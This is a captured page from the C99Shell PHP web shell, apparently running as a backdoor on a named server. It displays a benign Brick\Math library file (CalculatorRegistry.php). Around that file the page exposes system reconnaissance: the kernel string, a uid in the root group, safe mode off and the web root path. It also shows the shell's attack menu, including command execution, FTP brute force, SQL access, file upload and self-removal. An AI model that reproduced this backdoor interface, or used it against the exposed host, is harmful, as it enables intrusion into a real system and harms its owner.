!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/brick/math/src/Internal/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CalculatorRegistry.php (1.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Brick\Math\Internal;

use function 
extension_loaded;

/**
 * Stores the current Calculator instance used by BigNumber classes.
 *
 * @internal
 */
final class CalculatorRegistry
{
    
/**
     * The Calculator instance in use.
     */
    
private static ?Calculator $instance null;

    
/**
     * Sets the Calculator instance to use.
     *
     * An instance is typically set only in unit tests: autodetect is usually the best option.
     *
     * @param Calculator|null $calculator The calculator instance, or null to revert to autodetect.
     */
    
final public static function set(?Calculator $calculator) : void
    
{
        
self::$instance $calculator;
    }

    
/**
     * Returns the Calculator instance to use.
     *
     * If none has been explicitly set, the fastest available implementation will be returned.
     *
     * Note: even though this method is not technically pure, it is considered pure when used in a normal context, when
     * only relying on autodetect.
     *
     * @pure
     */
    
final public static function get() : Calculator
    
{
        
/** @phpstan-ignore impure.staticPropertyAccess */
        
if (self::$instance === null) {
            
/** @phpstan-ignore impure.propertyAssign */
            
self::$instance self::detect();
        }

        
/** @phpstan-ignore impure.staticPropertyAccess */
        
return self::$instance;
    }

    
/**
     * Returns the fastest available Calculator implementation.
     *
     * @pure
     * @codeCoverageIgnore
     */
    
private static function detect() : Calculator
    
{
        if (
extension_loaded('gmp')) {
            return new 
Calculator\GmpCalculator();
        }

        if (
extension_loaded('bcmath')) {
            return new 
Calculator\BcMathCalculator();
        }

        return new 
Calculator\NativeCalculator();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--